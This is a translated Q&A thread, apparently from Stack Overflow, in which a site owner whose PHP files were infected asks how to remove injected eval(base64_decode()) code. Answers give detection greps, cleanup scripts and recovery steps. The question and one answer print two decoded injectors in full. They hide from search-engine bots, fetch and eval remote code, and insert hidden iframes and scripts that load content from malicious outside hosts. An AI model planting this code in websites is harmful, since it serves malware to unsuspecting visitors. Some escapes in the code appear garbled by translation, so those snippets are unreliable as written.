php - sitio - phishing en mi web
¿Cómo deshacerse de eval-base64_decode como los archivos de virus PHP? (7)
Mi sitio (sitio web de la comunidad muy grande) fue infectado recientemente con un virus. Todos los archivos index.php
se cambiaron para que la etiqueta php de apertura de estos archivos se cambiara a la siguiente línea:
<?php eval(base64_decode(''ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZBTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IGFycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjcmF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21vJywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbScsJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2xzJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldHNlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJycnJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywnZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xvZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMjM5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wIiAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFycmF5KCI2Ni4xMDIuMC4wIiwgICI2Ni4xMDIuMTUuMjU1IiksDQoJYXJyYXkoIjY0LjIzMy4xNjAuMCIsIjY0LjIzMy4xOTEuMjU1IiksDQoJYXJyYXkoIjY2LjI0OS42NC4wIiwgIjY2LjI0OS45NS4yNTUiKSwNCglhcnJheSgiNzIuMTQuMTkyLjAiLCAiNzIuMTQuMjU1LjI1NSIpLA0KCWFycmF5KCIyMDkuODUuMTI4LjAiLCIyMDkuODUuMjU1LjI1NSIpLA0KCWFycmF5KCIxOTguMTA4LjEwMC4xOTIiLCIxOTguMTA4LjEwMC4yMDciKSwNCglhcnJheSgiMTczLjE5NC4wLjAiLCIxNzMuMTk0LjI1NS4yNTUiKSwNCglhcnJheSgiMjE2LjMzLjIyOS4xNDQiLCIyMTYuMzMuMjI5LjE1MSIpLA0KCWFycmF5KCIyMTYuMzMuMjI5LjE2MCIsIjIxNi4zMy4yMjkuMTY3IiksDQoJYXJyYXkoIjIwOS4xODUuMTA4LjEyOCIsIjIwOS4xODUuMTA4LjI1NSIpLA0KCWFycmF5KCIyMTYuMTA5Ljc1LjgwIiwiMjE2LjEwOS43NS45NSIpLA0KCWFycmF5KCI2NC42OC44OC4wIiwiNjQuNjguOTUuMjU1IiksDQoJYXJyYXkoIjY0LjY4LjY0LjY0IiwiNjQuNjguNjQuMTI3IiksDQoJYXJyYXkoIjY0LjQxLjIyMS4xOTIiLCI2NC40MS4yMjEuMjA3IiksDQoJYXJyYXkoIjc0LjEyNS4wLjAiLCI3NC4xMjUuMjU1LjI1NSIpLA0KCWFycmF5KCI2NS41Mi4wLjAiLCI2NS41NS4yNTUuMjU1IiksDQoJYXJyYXkoIjc0LjYuMC4wIiwiNzQuNi4yNTUuMjU1IiksDQoJYXJyYXkoIjY3LjE5NS4wLjAiLCI2Ny4xOTUuMjU1LjI1NSIpLA0KCWFycmF5KCI3Mi4zMC4wLjAiLCI3Mi4zMC4yNTUuMjU1IiksDQoJYXJyYXkoIjM4LjAuMC4wIiwiMzguMjU1LjI1NS4yNTUiKQ0KCSk7DQokbXlfaXAybG9uZyA9IHNwcmludGYoIiV1IixpcDJsb25nKCRfU0VSVkVSWydSRU1PVEVfQUREUiddKSk7DQpmb3JlYWNoICggJHN0b3BfaXBzX21hc2tzIGFzICRJUHMgKSB7DQoJJGZpcnN0X2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1swXSkpOyAkc2Vjb25kX2Q9c3ByaW50ZigiJXUiLGlwMmxvbmcoJElQc1sxXSkpOw0KCWlmICgkbXlfaXAybG9uZyA+PSAkZmlyc3RfZCAmJiAkbXlfaXAybG9uZyA8PSAkc2Vjb25kX2QpIHskYm90ID0gVFJVRTsgYnJlYWs7fQ0KfQ0KZm9yZWFjaCAoJHVzZXJfYWdlbnRfdG9fZmlsdGVyIGFzICRib3Rfc2lnbil7DQoJaWYgIChzdHJwb3MoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddLCAkYm90X3NpZ24pICE9PSBmYWxzZSl7JGJvdCA9IHRydWU7IGJyZWFrO30NCn0NCmlmICghJGJvdCkgew0KZWNobyAnPGRpdiBzdHlsZT0icG9zaXRpb246IGFic29sdXRlOyBsZWZ0OiAtMTk5OXB4OyB0b3A6IC0yOTk5cHg7Ij48aWZyYW1lIHNyYz0iaHR0cDovL2x6cXFhcmtsLmNvLmNjL1FRa0ZCd1FHRFFNR0J3WUFFa2NKQlFjRUFBY0RBQU1CQnc9PSIgd2lkdGg9IjIiIGhlaWdodD0iMiI+PC9pZnJhbWU+PC9kaXY+JzsNCn0=''));
Cuando decodifiqué esto, produjo el siguiente código PHP:
<?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter = array(''bot'',''spider'',''spyder'',''crawl'',''validator'',''slurp'',''docomo'',''yandex'',''mail.ru'',''alexa.com'',''postrank.com'',''htmldoc'',''webcollage'',''blogpulse.com'',''anonymouse.org'',''12345'',''httpclient'',''buzztracker.com'',''snoopy'',''feedtools'',''arianna.libero.it'',''internetseer.com'',''openacoon.de'',''rrrrrrrrr'',''magent'',''download master'',''drupal.org'',''vlc media player'',''vvrkimsjuwly l3ufmjrx'',''szn-image-resizer'',''bdbrandprotect.com'',''wordpress'',''rssreader'',''mybloglog api'');
$stop_ips_masks = array(
array("216.239.32.0","216.239.63.255"),
array("64.68.80.0" ,"64.68.87.255" ),
array("66.102.0.0", "66.102.15.255"),
array("64.233.160.0","64.233.191.255"),
array("66.249.64.0", "66.249.95.255"),
array("72.14.192.0", "72.14.255.255"),
array("209.85.128.0","209.85.255.255"),
array("198.108.100.192","198.108.100.207"),
array("173.194.0.0","173.194.255.255"),
array("216.33.229.144","216.33.229.151"),
array("216.33.229.160","216.33.229.167"),
array("209.185.108.128","209.185.108.255"),
array("216.109.75.80","216.109.75.95"),
array("64.68.88.0","64.68.95.255"),
array("64.68.64.64","64.68.64.127"),
array("64.41.221.192","64.41.221.207"),
array("74.125.0.0","74.125.255.255"),
array("65.52.0.0","65.55.255.255"),
array("74.6.0.0","74.6.255.255"),
array("67.195.0.0","67.195.255.255"),
array("72.30.0.0","72.30.255.255"),
array("38.0.0.0","38.255.255.255")
);
$my_ip2long = sprintf("%u",ip2long($_SERVER[''REMOTE_ADDR'']));
foreach ( $stop_ips_masks as $IPs ) {
$first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
if (strpos($_SERVER[''HTTP_USER_AGENT''], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
echo ''<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>'';
}
He intentado varias cosas para limpiar el virus, incluso restaurar desde una copia de seguridad y los archivos se vuelven a infectar después de unos minutos u horas. Entonces, ¿puedes ayudarme?
¿Qué sabes sobre este virus?
¿Hay un agujero de seguridad conocido que utiliza para instalar y propagar?
¿Qué hace el código php anterior en realidad?
¿Qué hace la página que incorpora en el iframe?
Y, por supuesto, más importante: ¿qué puedo hacer para deshacerme de él?
Por favor ayuda, casi nos quedamos sin ideas y esperanza :(
ACTUALIZACIÓN1 Algunos detalles más: Algo extraño es: cuando revisamos por primera vez los archivos infectados. ¡Fueron cambiados pero su tiempo modificado en el programa ftp mostraba que el último acceso era días, meses o incluso años atrás en algunos casos! Como es esto posible? ¡Me vuelve loco!
ACTUALIZACIÓN 2 Creo que el problema se inició después de que un usuario instaló un complemento en su instalación de Wordpress. Después de restaurar desde la copia de seguridad y eliminar por completo la carpeta Wordpress y el db asociado, el problema parece haber desaparecido. Actualmente nos hemos suscrito a un servicio de seguridad y están investigando el problema solo para asegurarse de que el hack se haya ido para siempre. Gracias a todos los que respondieron.
Asegúrese de que todas las aplicaciones web populares, como Wordpress o vBulletin, estén actualizadas. Existen muchas vulnerabilidades con las versiones anteriores que pueden hacer que su servidor se vea comprometido y probablemente vuelva a suceder si no se actualizan. No usar en continuar hasta que esto esté hecho.
Si los archivos siguen siendo reemplazados, entonces hay un rootkit o troyano ejecutándose en segundo plano. Ese archivo no puede replicarse. Primero tendrá que deshacerse del rootkit. Pruebe rkhunter , rkhunter y LMD . Compare la salida de
ps aux
con un servidor seguro y marque/var/tmp
y/tmp
para buscar archivos sospechosos. Es posible que deba reinstalar el sistema operativo.Asegúrese de que todas las estaciones de trabajo que administran el servidor estén actualizadas y limpias. No conecte a través de conexiones inalámbricas inseguras o use autenticación de texto plano como con FTP (use SFTP en su lugar). Solo inicie sesión en los paneles de control con https.
Para evitar que esto vuelva a ocurrir, ejecute csf o firewall comparable, escaneos LMD diarios y manténgase al día con los últimos parches de seguridad para todas las aplicaciones en el servidor.
Mis sitios web / o sitios web que alojé fueron atacados varias veces con ataques similares.
Presento lo que hice para resolver el problema. No pretendo que sea el enfoque mejor / más fácil, pero funciona y desde entonces puedo mantener la pelota de forma proactiva en mi campo.
resuelva el problema CUANTO ANTES Creé un script PHP muy simple (fue escrito cuando la plancha estaba caliente, entonces tal vez no sea el código más optimizado PERO resuelve el problema bastante rápido): http://www.ecommy.com/web-security/clean-php-files-from-eval-infection
asegúrate de saber cuándo algo como esto golpea de nuevo. Los hackers usan todo tipo de enfoques desde la inyección de SQL de uno de sus módulos externos que instala para aplicar fuerza bruta a su panel de administración con ataques de diccionario o patrones de contraseñas muy conocidos, como 1qaz ... qwerty .... etc ... presento los scripts aquí: http://www.ecommy.com/web-security/scan-for-malware-viruses-and-php-eval-based-infections
la entrada cron sería algo así como: 0 2 * * 5 / root / scripts / base64eval_scan> / dev / null 2> & 1 &
Actualicé las páginas para que alguien pueda descargar directamente los archivos. Espero que te sea útil ya que es para mí :)
Para deshacerte de estos PHP maliciosos, simplemente debes eliminarlos. Si el archivo está infectado, debe eliminar solo la parte que parece sospechosa.
Siempre es complicado encontrar estos archivos, porque generalmente hay varios en su raíz web.
Por lo general, si ve algún tipo de ofuscación, está alerta roja para usted.
La mayoría de los malwares son fáciles de encontrar en función de las funciones comunes que utilizan, esto incluye:
-
base64_decode
, -
lzw_decompress
, -
eval
, - y así
Al usar el formato de codificación, compactan su tamaño y hacen que sea más difícil de descifrar por usuarios sin experiencia.
Aquí hay algunos comandos grep
que pueden encontrar el código PHP de malware más común:
grep -R return.*base64_decode .
grep --include=/*.php -rn ''return.*base64_decode($v./{6/})'' .
Puede ejecutar estos comandos en el servidor o una vez que sincronizó su sitio web en su máquina local (a través de FTP, por ejemplo, ncftpget -R
).
O use herramientas de escaneo que están especialmente diseñadas para encontrar ese tipo de archivos maliciosos, consulte: escáneres de seguridad PHP .
Para fines educativos, encuentre la siguiente colección de scripts de explotación de PHP, que se encuentra al investigar servidores pirateados disponibles en kenorb / php-exploit-scripts GitHub (influenciado por @Mattias colección original ). Esto le permitirá comprender cómo son estos archivos sospechosos de PHP, para que pueda aprender a encontrarlos en su servidor.
Ver también: ¿Qué hace este script PHP malicioso?
Pasos para recuperar y desinfectar su sitio (siempre que tenga una buena copia de seguridad conocida).
1) Cierre el sitio
Básicamente, debe cerrar la puerta de su sitio antes de realizar su trabajo de recuperación. Esto evitará que los visitantes obtengan código malicioso, vean mensajes de error, etc. Solo una buena práctica.
Debería poder hacer esto colocando lo siguiente en su archivo .htaccess en la raíz web. (¡Reemplace "!! Su dirección IP aquí !!" con su propia dirección IP; consulte http://icanhazip.com si no conoce su dirección IP).
order deny,allow
deny from all
allow from !!Your IP Address Here!!
2) Descarga una copia de todos tus archivos del servidor
Descargue todo en una carpeta separada de sus buenas copias de seguridad. Esto puede demorar un tiempo (dependiendo del tamaño de su sitio, velocidad de conexión, etc.).
3) Descargar e instalar una herramienta de comparación de archivos / carpetas
En una máquina con Windows, puede usar WinMerge - http://winmerge.org/ - es gratis y bastante poderoso. En una máquina MacOS, consulte la lista de posibles alternativas de Alternative.to
4) Ejecute la Utilidad de comparación de archivos / carpetas
Deberías terminar con algunos resultados diferentes:
- Los archivos son idénticos: el archivo actual es igual que su copia de seguridad, por lo que no se ve afectado.
- Archivo en el lado izquierdo / derecho solamente: ese archivo solo existe en la copia de seguridad (y puede haber sido eliminado del servidor), o solo existe en el servidor (y puede haber sido inyectado / creado por el pirata informático).
- El archivo es diferente: el archivo en el servidor no es el mismo que el de la copia de seguridad, por lo que puede haber sido modificado por usted (para configurarlo para el servidor) o por el pirata informático (para inyectar código).
5) Resolver las diferencias
(alias "¿Por qué no podemos todos simplemente llevarse bien?")
Para archivos que son idénticos , no se requieren más acciones. Para los archivos que existen solo en un lado , mire el archivo y determine si son legítimos (es decir, cargas de usuarios que deberían estar allí, archivos adicionales que haya agregado, etc.). Para archivos que son diferentes , mire el archivo ( la utilidad de diferencia de archivos incluso puede mostrarle qué líneas se han agregado / modificado / eliminado) y ver si la versión del servidor es válida. Sobrescribir (con la versión respaldada) cualquier archivo que contenga código malicioso.
6) Revise sus precauciones de seguridad
Si esto es tan simple como cambiar sus contraseñas de FTP / cPanel, o revisar su uso de recursos externos / no controlados (como usted menciona, está realizando una gran cantidad de errores, fopens, etc. es posible que desee verificar los parámetros que se les pasan como es una forma de hacer que los scripts extraigan código malicioso), etc.
7) Verifique que el sitio funcione
Aproveche la oportunidad de ser la única persona que mira el sitio para asegurarse de que todo sigue funcionando como se espera, después de que se corrijan los archivos infectados y se hayan eliminado los archivos maliciosos.
8) Abra las puertas
Invierta los cambios realizados en el archivo .htaccess en el Paso 1. Mire con cuidado. Vigile a su visitante y a los registros de errores para ver si alguien intenta activar los archivos maliciosos eliminados, etc.
9) Considere los métodos de detección automatizados
Existen algunas soluciones que le permiten realizar una comprobación automatizada en su host (utilizando un trabajo CRON) que detectará y detallará los cambios que se produzcan. Algunos son un poco detallados (recibirá un correo electrónico para cada uno de los archivos modificados), pero debe ser capaz de adaptarlos a sus necesidades:
- Tripwire: un script PHP para detectar e informar archivos nuevos, eliminados o modificados
- Script de Shell para monitorear cambios de archivos
- Cómo detectar si su servidor web está hackeado y recibir alertas
10) Tener copias de seguridad programadas y conservar un buen soporte
Asegúrese de tener copias de seguridad programadas en su sitio web, mantenga algunas, de modo que tenga diferentes pasos para retroceder en el tiempo, si es necesario. Por ejemplo, si realizó copias de seguridad semanales, es posible que desee mantener lo siguiente:
- 4 x copias de seguridad semanales
- 4 x Copias de seguridad mensuales (retiene una de las Copias de seguridad semanales, tal vez la primera semana del mes, como la Copia de respaldo mensual)
Esto siempre hará la vida más fácil si alguien ataca su sitio con algo un poco más destructivo que un ataque de inyección de código.
Ah, y asegúrese de hacer una copia de seguridad de sus bases de datos también, con muchos sitios basados en CMS, tener los archivos es bueno, pero si pierde / corrompe la base de datos detrás de ellos, bueno, las copias de seguridad son básicamente inútiles.
Primero, apague su sitio hasta que pueda descubrir cómo entró y cómo solucionarlo. Parece que está sirviendo malware a tus clientes.
A continuación, busque en los archivos php los archivos fgets, fopen, fputs, eval o system. Recomiendo Notepad ++ por su función "Buscar en archivos". Además, asegúrese de que ese sea el único lugar donde su PHP ha sido modificado. ¿Tienes una copia sin conexión para comparar?
Sufrí el mismo trabajo de hackeo. Pude descifrar el código también, y aunque obtuve un código php diferente, comencé eliminando el texto php inyectado al recorrer cada archivo php en el sitio y eliminar la llamada de evaluación. Todavía estoy investigando cómo lo hice para empezar, pero aquí está lo que parecía el mío después de descifrarlo de este sitio web:
Para decodificar el script php encriptado en cada archivo php use esto: http://www.opinionatedgeek.com/dotnet/tools/base64decode/
Y formateando el resultado usando este chico: http://beta.phpformatter.com/
Para limpiar, debe eliminar la línea "eval" de la parte superior de cada archivo php y eliminar las carpetas .log de la carpeta base del sitio web.
Encontré una secuencia de comandos python que modifiqué ligeramente para eliminar el troyano en archivos php, así que lo publicaré aquí para que otros lo usen: código fuente de hilo: reemplace TODAS las instancias de un carácter con otra en todos los archivos jerárquicamente en el árbol de directorios
import os
import re
import sys
def try_to_replace(fname):
if replace_extensions:
return fname.lower().endswith(".php")
return True
def file_replace(fname, pat, s_after):
# first, see if the pattern is even in the file.
with open(fname) as f:
if not any(re.search(pat, line) for line in f):
return # pattern does not occur in file so we are done.
# pattern is in the file, so perform replace operation.
with open(fname) as f:
out_fname = fname + ".tmp"
out = open(out_fname, "w")
for line in f:
out.write(re.sub(pat, s_after, line))
out.close()
os.rename(out_fname, fname)
def mass_replace(dir_name, s_before, s_after):
pat = re.compile(s_before)
for dirpath, dirnames, filenames in os.walk(dir_name):
for fname in filenames:
if try_to_replace(fname):
print "cleaning: " + fname
fullname = os.path.join(dirpath, fname)
file_replace(fullname, pat, s_after)
if len(sys.argv) != 2:
u = "Usage: rescue.py <dir_name>/n"
sys.stderr.write(u)
sys.exit(1)
mass_replace(sys.argv[1], "eval/(base64_decode/([^.]*/)/);", "")
usar tipo
python rescue.py rootfolder
Esto es lo que el script malicioso estaba tratando de hacer:
<?php
if (function_exists(''ob_start'') && !isset($_SERVER[''mr_no''])) {
$_SERVER[''mr_no''] = 1;
if (!function_exists(''mrobh'')) {
function get_tds_777($url)
{
$content = "";
$content = @trycurl_777($url);
if ($content !== false)
return $content;
$content = @tryfile_777($url);
if ($content !== false)
return $content;
$content = @tryfopen_777($url);
if ($content !== false)
return $content;
$content = @tryfsockopen_777($url);
if ($content !== false)
return $content;
$content = @trysocket_777($url);
if ($content !== false)
return $content;
return '''';
}
function trycurl_777($url)
{
if (function_exists(''curl_init'') === false)
return false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
if ($result == "")
return false;
return $result;
}
function tryfile_777($url)
{
if (function_exists(''file'') === false)
return false;
$inc = @file($url);
$buf = @implode('''', $inc);
if ($buf == "")
return false;
return $buf;
}
function tryfopen_777($url)
{
if (function_exists(''fopen'') === false)
return false;
$buf = '''';
$f = @fopen($url, ''r'');
if ($f) {
while (!feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
} else
return false;
if ($buf == "")
return false;
return $buf;
}
function tryfsockopen_777($url)
{
if (function_exists(''fsockopen'') === false)
return false;
$p = @parse_url($url);
$host = $p[''host''];
$uri = $p[''path''] . ''?'' . $p[''query''];
$f = @fsockopen($host, 80, $errno, $errstr, 30);
if (!$f)
return false;
$request = "GET $uri HTTP/1.0/n";
$request .= "Host: $host/n/n";
fwrite($f, $request);
$buf = '''';
while (!feof($f)) {
$buf .= fread($f, 10000);
}
fclose($f);
if ($buf == "")
return false;
list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
return $buf;
}
function trysocket_777($url)
{
if (function_exists(''socket_create'') === false)
return false;
$p = @parse_url($url);
$host = $p[''host''];
$uri = $p[''path''] . ''?'' . $p[''query''];
$ip1 = @gethostbyname($host);
$ip2 = @long2ip(@ip2long($ip1));
if ($ip1 != $ip2)
return false;
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!@socket_connect($sock, $ip1, 80)) {
@socket_close($sock);
return false;
}
$request = "GET $uri HTTP/1.0/n";
$request .= "Host: $host/n/n";
socket_write($sock, $request);
$buf = '''';
while ($t = socket_read($sock, 10000)) {
$buf .= $t;
}
@socket_close($sock);
if ($buf == "")
return false;
list($m, $buf) = explode(chr(13) . chr(10) . chr(13) . chr(10), $buf);
return $buf;
}
function update_tds_file_777($tdsfile)
{
$actual1 = $_SERVER[''s_a1''];
$actual2 = $_SERVER[''s_a2''];
$val = get_tds_777($actual1);
if ($val == "")
$val = get_tds_777($actual2);
$f = @fopen($tdsfile, "w");
if ($f) {
@fwrite($f, $val);
@fclose($f);
}
if (strstr($val, "|||CODE|||")) {
list($val, $code) = explode("|||CODE|||", $val);
eval(base64_decode($code));
}
return $val;
}
function get_actual_tds_777()
{
$defaultdomain = $_SERVER[''s_d1''];
$dir = $_SERVER[''s_p1''];
$tdsfile = $dir . "log1.txt";
if (@file_exists($tdsfile)) {
$mtime = @filemtime($tdsfile);
$ctime = time() - $mtime;
if ($ctime > $_SERVER[''s_t1'']) {
$content = update_tds_file_777($tdsfile);
} else {
$content = @file_get_contents($tdsfile);
}
} else {
$content = update_tds_file_777($tdsfile);
}
$tds = @explode("/n", $content);
$c = @count($tds) + 0;
$url = $defaultdomain;
if ($c > 1) {
$url = trim($tds[mt_rand(0, $c - 2)]);
}
return $url;
}
function is_mac_777($ua)
{
$mac = 0;
if (stristr($ua, "mac") || stristr($ua, "safari"))
if ((!stristr($ua, "windows")) && (!stristr($ua, "iphone")))
$mac = 1;
return $mac;
}
function is_msie_777($ua)
{
$msie = 0;
if (stristr($ua, "MSIE 6") || stristr($ua, "MSIE 7") || stristr($ua, "MSIE 8") || stristr($ua, "MSIE 9"))
$msie = 1;
return $msie;
}
function setup_globals_777()
{
$rz = $_SERVER["DOCUMENT_ROOT"] . "/.logs/";
$mz = "/tmp/";
if (!@is_dir($rz)) {
@mkdir($rz);
if (@is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"] . "/.logs/";
if (!@is_dir($rz)) {
@mkdir($rz);
if (@is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER[''HTTP_USER_AGENT''];
if (stristr($ua, "msnbot") || stristr($ua, "Yahoo"))
$bot = 1;
if (stristr($ua, "bingbot") || stristr($ua, "google"))
$bot = 1;
$msie = 0;
if (is_msie_777($ua))
$msie = 1;
$mac = 0;
if (is_mac_777($ua))
$mac = 1;
if (($msie == 0) && ($mac == 0))
$bot = 1;
global $_SERVER;
$_SERVER[''s_p1''] = $mz;
$_SERVER[''s_b1''] = $bot;
$_SERVER[''s_t1''] = 1200;
$_SERVER[''s_d1''] = base64_decode(''http://ens122zzzddazz.com/'');
$d = ''?d='' . urlencode($_SERVER["HTTP_HOST"]) . "&p=" . urlencode($_SERVER["PHP_SELF"]) . "&a=" . urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER[''s_a1''] = base64_decode(''http://cooperjsutf8.ru/g_load.php'') . $d;
$_SERVER[''s_a2''] = base64_decode(''http://nlinthewood.com/g_load.php'') . $d;
$_SERVER[''s_script''] = "nl.php?p=d";
}
setup_globals_777();
if (!function_exists(''gml_777'')) {
function gml_777()
{
$r_string_777 = '''';
if ($_SERVER[''s_b1''] == 0)
$r_string_777 = ''<script src="'' . get_actual_tds_777() . $_SERVER[''s_script''] . ''"></script>'';
return $r_string_777;
}
}
if (!function_exists(''gzdecodeit'')) {
function gzdecodeit($decode)
{
$t = @ord(@substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = @unpack(''v'', substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = @strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = @strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = @gzinflate(@substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
}
function mrobh($content)
{
@Header(''Content-Encoding: none'');
$decoded_content = gzdecodeit($content);
if (preg_match(''//<//body/si'', $decoded_content)) {
return preg_replace(''/(/<//body[^/>]*/>)/si'', gml_777() . "/n" . ''$1'', $decoded_content);
} else {
return $decoded_content . gml_777();
}
}
ob_start(''mrobh'');
}
}
?>
Suponiendo que se trata de un servidor basado en Linux y tiene acceso SSH, puede ejecutar esto para eliminar el código ofensivo:
find . -name "*.php" | xargs sed -i ''s@eval[ /t]*([ /t]*base64_decode[ /t]*([ /t]*[''"''"''"][A-Za-z0-9/_=+:!.-]/{1,/}[''"''"''"][ /t]*)[ /t]*)[ /t]*;@@''
Esto cubre todas las implementaciones de base64 conocidas, y funcionará si el texto de base64 está rodeado por comillas simples o dobles
EDITAR: ahora también funciona con espacios en blanco internos